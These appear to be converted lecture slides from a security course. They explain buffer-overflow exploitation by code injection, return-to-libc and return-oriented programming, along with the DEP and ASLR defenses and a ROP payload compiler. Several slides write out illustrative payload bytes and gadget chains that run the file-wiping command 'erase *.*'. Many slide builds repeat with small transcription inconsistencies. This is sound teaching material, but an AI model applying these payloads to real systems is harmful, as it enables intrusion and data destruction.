Q: Exploit Hardening Made Easy


CS 6301-005: Language-based Security
Dr. Kevin Hamlen
Attacker’s Dilemma

• Problem Scenario
  – Attack target is a server running some known native code software (e.g., Apache web server).
  – Attacker knows exact software version, but has no physical access or remote privileges.
  – Attacker wishes to “take control” of process (e.g., make it divulge or delete private files).

• Significant assumption: Attacker knows a vulnerability (e.g., buffer overflow bug).
  – Defender doesn’t know it (vulnerability is zero-day) or hasn’t patched it yet.

• How can the attacker leverage this vulnerability to do more than just crash the process?
Anatomy of a Software Hack

• Usually two parts
  – “Exploit” – Maneuver process into executing bug
    • Example: Provide a long input string to overflow the buffer.
    • Let’s assume we already know how to do that part.
  – “Payload” – Leverage bug to convince process to execute attacker-supplied code

• Three kinds of payloads (in order of increasing sophistication):
  – direct code injection
  – jump-to-libc
  – return-oriented programming (ROP)
Code-injection Example

```c
void main(int argc, char *argv[]) {
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
```

Binary:
- `lea eax,[ebp-48h]`
- `push eax`
- `call <system>`
- `.data “erase”`
- `.data “*.* ”`
- `.data “aaaaa...”`
- `.data “aaaa”`
- `<addr of buf>`

Stack:
- `argc (4 bytes)`
- `argv (4 bytes)`
- `buf (64 bytes)`
- `saved EBP (4 bytes)`
- `saved EIP (4 bytes)`
- `argv (4 bytes)`
- `argc (4 bytes)`
- `bottom of stack (higher addresses)`
- `top of stack (lower addresses)`
Code-injection Example

```c
void main(int argc, char *argv[])
{
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
```

8D 45 B8 50 FF 15 BC 82 2F 01 65 72 61 73 65 20 2A 2E 2A 61 61 61 61 30 FB 1F 00
lea eax,[ebp-48h]
push eax
call <system>
data “erase”
data “*. * ”
data “aaaaaaa...”
data “aaaa”
<addr of buf>

Top of stack (lower addresses):
lea eax,[ebp-48h]
push eax
call <system>
erase *. * aaaaaaaaaaaaaaaaaaaaaaaaa

Argument stack:
argv (4 bytes)
argc (4 bytes)
bottom of stack (higher addresses)

Bottom of stack (higher addresses):

8D 45 B8 50 FF 15 BC 82 2F 01 65 72 61 73 65 20 2A 2E 2A 61 61 61 61 30 FB 1F 00
lea eax,[ebp-48h]
push eax
call <system>
data “erase”
data “*. * ”
data “aaaaaaa...”
data “aaaa”
<addr of buf>
void main(int argc, char *argv[]) {
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
Code-injection Example

```c
void main(int argc, char *argv[])
{
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
```

8D 45 B8  lea eax,[ebp-48h]
50         push eax
FF 15 BC 82 2F 01  call <system>
65 72 61 73 65 20  .data "erase"
2A 2E 2A 20  .data "*.*"
61 (x24)  .data "aaaaa..."
61 61 61 61  .data "aaaa"
30 FB 1F 00  <addr of buf>

```
lea eax,[ebp-48h]
push eax
call <system>
ed erase *.* aaaaaaaa
      aaaaaaaaaaaaaaaaa
```

<table>
<thead>
<tr>
<th>top of stack (lower addresses)</th>
</tr>
</thead>
<tbody>
<tr>
<td>lea eax,[ebp-48h]</td>
</tr>
<tr>
<td>push eax</td>
</tr>
<tr>
<td>call &lt;system&gt;</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>bottom of stack (higher addresses)</th>
</tr>
</thead>
<tbody>
<tr>
<td>argv (4 bytes)</td>
</tr>
<tr>
<td>argc (4 bytes)</td>
</tr>
<tr>
<td>&lt;addr of buf&gt;</td>
</tr>
</tbody>
</table>

---

(argc 4 bytes)
(argv 4 bytes)
Code-injection Example

```c
void main(int argc, char *argv[])
{
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
```

Bincode:

```
8D 45 B8
50
FF 15 BC 82 2F 01
65 72 61 73 65 20
2A 2E 2A 20
61 (x24)
61 61 61 61
30 FB 1F 00
```

Assembly:

```
lea eax,[ebp-48h]
push eax
call <system>
.data "erase"
data "*.*"
data "aaaaa..."
data "aaaa"
```

Binary code:

```
8D 45 B8
50
FF 15 BC 82 2F 01
65 72 61 73 65 20
2A 2E 2A 20
61 (x24)
61 61 61 61
```

Stack:

- Top of stack (lower addresses):
  - lea eax,[ebp-48h]
  - push eax
  - call <system>
  - `erase *.* aaaaaaaa aaaaaaaaaaa aaaaaaaaaaaaaaaa`

- Bottom of stack (higher addresses):
  - argv (4 bytes)
  - `<addr of buf>`
  - `<addr of "erase *.* ...">`
void main(int argc, char *argv[])
{
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
Defense: W⊕X Pages

• Data Execution Prevention (DEP)
  – disallow writable & executable permission on any one page of process memory
  – stack is writable but non-executable by default
  – now default on most Windows & Linux systems

• Counter-attack
  – don’t insert any code onto the stack
  – jump *directly to existing dangerous code*
    • usually library code, since there are many dangerous things there, and libraries are common to many applications
  – called “jump-to-libc”
Return-to-libc Example

```c
void main(int argc, char *argv[])
{
    char buf[64];
    strcpy(buf,argv[1]);
    ...
    return;
}
```

<table>
<thead>
<tr>
<th>Memory Address</th>
<th>Data Representation</th>
</tr>
</thead>
<tbody>
<tr>
<td>65 72 61 73 65 20</td>
<td>.data “erase”</td>
</tr>
<tr>
<td>2A 2E 2A 20</td>
<td>.data “.*.”</td>
</tr>
<tr>
<td>61 (x58)</td>
<td>.data “aaaa…”</td>
</tr>
<tr>
<td>BC 82 2F 01</td>
<td>.data &lt;system&gt;</td>
</tr>
<tr>
<td>61 (x8)</td>
<td>.data “aaaa…”</td>
</tr>
<tr>
<td>30 FB 1F 00</td>
<td>.data &lt;buf&gt;</td>
</tr>
</tbody>
</table>

- **top of stack (lower addresses)**
- **buf (64 bytes)**
- **saved EBP (4 bytes)**
- **saved EIP (4 bytes)**
- **argv (4 bytes)**
- **argc (4 bytes)**
- **bottom of stack (higher addresses)**
Return-to-libc Example

```c
void main(int argc, char *argv[])
{
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
```

```
65 72 61 73 65 20 .data “erase”
2A 2E 2A 20 .data “.*.*”
61 (x58) .data “aaaa...”
BC 82 2F 01 .data <system>
61 (x8) .data “aaaa...”
30 FB 1F 00 .data <buf>
```

top of stack (lower addresses)

- `erase *.*
- `aaaaaaa...`

- `aaaa`
- `addr of <system>`
- `aaaa`
- `addr of <buf>`
Return-to-libc Example

```c
void main(int argc, char *argv[])
{
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
```

65 72 61 73 65 20 .data “erase”
2A 2E 2A 20 .data “.*”
61 (x58) .data “aaaa...”
BC 82 2F 01 .data <system>
61 (x8) .data “aaaa...”
30 FB 1F 00 .data <buf>

- top of stack (lower addresses)
- erase *
- aaaaaa...
- addr of <system>
- aaaa
- aaaa
- addr of <buf>
Return-to-libc Example

```c
void main(int argc, char *argv[])
{
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
```
Return-to-libc Example

```cpp
return-to-libc

libc::system(char *cmd)
{
    <passes cmd to the shell!>
}
```

```
65 72 61 73 65 20 .data "erase"
2A 2E 2A 20 .data ".*"
61 (x58) .data "aaaa..."
BC 82 2F 01 .data <system>
61 (x8) .data "aaaa..."
30 FB 1F 00 .data <buf>
```

top of stack (lower addresses)

```
   erase *.*
   aaaaaaaaa...
```

```
   aaaa
   addr of <system>
   aaaa
   aaaa
   addr of <buf>
```
Defense: Hide the Libraries

• Address Space Layout Randomization (ASLR)
  – Loader chooses starting address of each library at load-time (not compile-time)
    • Libraries already compiled with this capability, so that loader can avoid address space conflicts
    • Note that application main modules do NOT typically have this capability!
  – Tweak the loader to choose the address semi-randomly
  – Result: Attacker cannot reliably predict where libraries are, so cannot reliably jump to any particular code!

• Counter-attack: Return-Oriented Programming
  – Payload jumps to main module code instead of libraries.
  – Challenge: Far less dangerous code there (typically).
  – Can the attacker really do much damage?
Return-Oriented Programming

• Key insight: Exploit the “ret” instruction
  – Semantics of ret: Pop the address atop the stack and jump there.
  – Attacker controls the stack...
  – So attacker can control where ALL ret instructions jump henceforth!

• Can string together ret-ending code fragments already present in the main module to implement an attack payload!
ROPO Example

```c
void main(int argc, char *argv[])
{
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
```

data "erase"
data ".*.*"
data "aaaa..."
data <addr1>
data <addr2>
data <addr2>
data <addr3>

- caller's stack frame
- argc (4 bytes)
- argv (4 bytes)
- saved EBP (4 bytes)
- saved EIP (4 bytes)
- buf (64 bytes)
- argv (4 bytes)
- argc (4 bytes)
- bottom of stack (higher addresses)
void main(int argc, char *argv[]) {
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
ROP Example

init_display: ...
< ... 1024 bytes ... >

system: ...

addr1: mov eax, [init_display]
call eax
pop ebx
ret

addr2: add eax, 512
ret

addr3: call eax
ret

top of stack (lower addresses)
erase *.*
aaaaaaa...

aaaa

<addr1>

aaaa

<addr2>

<addr2>

<addr3>
ROP Example

init_display: ...

< ... 1024 bytes ... >

system: ...

addr2: add eax, 512
ret

addr1: mov eax, [init_display]
call eax
pop ebx
ret

addr3: call eax
ret

eax = init_display

top of stack (lower addresses)

erase *.*
aaaaaaa...
aaa

<addr1>
aaa

<addr2>

<addr2>

<addr3>
ROP Example

init_display: ...
< ... 1024 bytes ... >
system: ...

addr2: add eax, 512
ret
...
addr1: mov eax, [init_display]
call eax
pop ebx
ret
...
addr3: call eax
ret

eax = init_display

top of stack (lower addresses)
erase *.*
aaaaaaaa...

<addr1+5>
<addr2>
<addr2>
<addr3>
ROP Example

init_display: ...

< ... 1024 bytes ... >

addr2: add eax, 512
ret

addr1: mov eax, [init_display]
call eax
pop ebx
ret

addr3: call eax
ret

top of stack (lower addresses)

erase *.*
aaaaaaaaa...

< addr1+5 >

< addr2 >

< addr2 >

< addr3 >
ROP Example

init_display: ...
< ... 1024 bytes ... >

system: ...

... add eax, 512
ret ...

addr1: mov eax, [init_display]
call eax
pop ebx
ret ...

addr2: call eax
ret

eax = init_display

top of stack (lower addresses)

erase *. *

aaaaaaa...

aaa

<addr1+5>

aaaa

<addr2>

<addr2>

<addr3>
ROP Example

init_display: ...
< ... 1024 bytes ... >
system: ...

call eax
pop ebx
ret

call eax
ret

erase *.*
aaaaaaa...

top of stack (lower addresses)

 eax = init_display
ROP Example

init_display: ...

< ... 1024 bytes ... >

system: ...

addr2: add eax, 512
    ret

addr1: mov eax, [init_display]
        call eax
        pop ebx
        ret

addr3: call eax
        ret

eax = init_display+512

top of stack (lower addresses)

    erase .*.*
    aaaaaaaaa...

    aaaa
    <addr1+5>
    aaaa
    <addr2>
    <addr2>
    <addr3>
ROP Example

init_display: ...
< ... 1024 bytes ... >
system: ...

addr2: add eax, 512
ret
...
addr1: mov eax, [init_display]
call eax
pop ebx
ret
...
addr3: call eax
ret
eax = init_display+512
top of stack (lower addresses)
erase *.*
aaaaaaaa...

< ... 1024 bytes ... >
system: ...

eax = init_display+512

<addr1+5>
<addr2>
<addr2>
<addr3>
ROP Example

init_display: ...
< ... 1024 bytes ... >

system: ...

addr2: add eax, 512
ret
...
addr1: mov eax, [init_display]
call eax
call eax
pop ebx
ret
...
addr3: call eax
ret

eax = init_display+1024 = system !!!

top of stack (lower addresses)
erase *.*

aaaaaaa...

aaaa
<addr1+5>
aaaa
<addr2>
<addr2>
<addr3>
ROP Example

init_display: ...
< ... 1024 bytes ... >
system: ...

addr2: add eax, 512
       ret
       ...
addr1: mov eax, [init_display]
       call eax
       pop ebx
       ret
       ...
addr3: call eax
       ret

eax = init_display+1024 = system !!!

top of stack (lower addresses)
erase *.*
aaaaaaa...

aaaa
<addr1+5>
aaaa
<addr2>
<addr2>
<addr3>
ROP Example

init_display: ...
  < ... 1024 bytes ... >
system: ...

addr2: add eax, 512
  ret
  ...
addr1: mov eax, [init_display]
call eax
call eax
pop ebx
ret
  ...
addr3: call eax
  ret

eax = init_display+1024 = system !!!

top of stack (lower addresses)
erase *.*
aaaaaa...

< addr1+5 >
aaaa
< addr2 >
< addr2 >
< addr3 >
ROP Attack Surface

• Gadgets: Every `ret`-ending byte sequence at a known location is available to attacker
  – Gadgets need not be intended, reachable code! Any bytes will do!
  – Can string gadgets together in any sequence
  – Can encode loops (because gadgets can push new addresses)

• Research questions:
  – What payloads are possible from gadget-sequencing?
  – Given a victim program and desired payload, is there a way to systematically discover a gadget-implementation?
Q: An ROP Payload Compiler

Figure 2: An overview of Q’s design.
Q Stages

• Gadget Discovery
  – find gadgets of various “types” in victim program

• Gadget Arrangement
  – infer general gadget sequences that suffice to implement payload
  – not all inferred sequences may be present in victim

• Gadget Assignment
  – match discovered gadgets to inferred arrangements

• Payload Printing
  – output a complete, working assignment
  – usable as malicious input to victim program
## Gadget “Types”

<table>
<thead>
<tr>
<th>Name</th>
<th>Input</th>
<th>Parameters</th>
<th>Semantic Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>NoOpG</td>
<td>—</td>
<td>—</td>
<td>Does not change memory or registers</td>
</tr>
<tr>
<td>JumpG</td>
<td>AddrReg</td>
<td>Offset</td>
<td>EIP $\leftarrow$ AddrReg + Offset</td>
</tr>
<tr>
<td>MoveRegG</td>
<td>InReg, OutReg</td>
<td>—</td>
<td>OutReg $\leftarrow$ InReg</td>
</tr>
<tr>
<td>LoadConstG</td>
<td>OutReg, Value</td>
<td>—</td>
<td>OutReg $\leftarrow$ Value</td>
</tr>
<tr>
<td>ArithmeticG</td>
<td>InReg1, InReg2, OutReg</td>
<td>$\diamond_b$</td>
<td>OutReg $\leftarrow$ InReg1 $\diamond_b$ InReg2</td>
</tr>
<tr>
<td>LoadMemG</td>
<td>AddrReg, OutReg</td>
<td># Bytes, Offset</td>
<td>OutReg $\leftarrow$ M[AddrReg + Offset]</td>
</tr>
<tr>
<td>StoreMemG</td>
<td>AddrReg, InReg</td>
<td># Bytes, Offset</td>
<td>M[AddrReg + Offset] $\leftarrow$ InReg</td>
</tr>
<tr>
<td>ArithmeticLoadG</td>
<td>OutReg, AddrReg</td>
<td># Bytes, Offset, $\diamond_b$</td>
<td>OutReg $\diamond_b$ $\leftarrow$ M[AddrReg + Offset]</td>
</tr>
<tr>
<td>ArithmeticStoreG</td>
<td>InReg, AddrReg</td>
<td># Bytes, Offset, $\diamond_b$</td>
<td>M[AddrReg + Offset] $\diamond_b$ $\leftarrow$ InReg</td>
</tr>
</tbody>
</table>

- **Challenge:** Given an arbitrary gadget, how to infer its “type” from the table above?
- **Open Research Question:** Is there a better list of “types”? Why just these “types”? 

Weakest Precondition

• Hoare Logic:
  – Notation “[A]C[B]” means “If the program state satisfies A, then code C eventually terminates in a program state satisfying B.
  – Example: [x=3 ∧ y=1] x:=x+y [x=4 ∧ y=1]
  – Example: [x=y] x:=x+y [x=2y]
  – Example: [true] x:=3 [x=3]
  – A = “precondition” and B = “postcondition”

• Weakest Precondition [Dijkstra, CACM’75]
  – For any C and B, there are many A satisfying [A]C[B].
  – Weakest possible precondition is “true” (no assumptions)
WP and Gadget Discovery

• Weakest Precondition Algorithm
  – known, easy algorithm for non-looping instructions
  – Example: [?] mov r1, r2 [r1=7]
    • A = “r2=7”
  – Generalized: [?] mov r1, r2 [B]
    • A = substitute “r2” for all “r1” in B

• Each gadget “type” is really a post-condition
  – MovRegG: r1=r2
  – [?] mov r1, r2 [r1=r2]
    • A = “r2=r2” = true

• Strategy: Gadget C has type B if WP(C,B)=true
More Nifty Science in Q

• Gadget arrangement based on *every-munch* (a take-all version of *maximal munch*)

• Various tricky register allocation problems
  – register clobbering avoidance
  – register matching

• Basically a full compiler for a very weird instruction set that it has to learn each time!
With just 20KB of code to mine, Q is 80% successful at finding ROP payloads.

Others have found that at least 33% of all binaries contain Turing-complete gadget sets!

Next Time

• Some embarrassing failures of diversity- and obfuscation-based defenses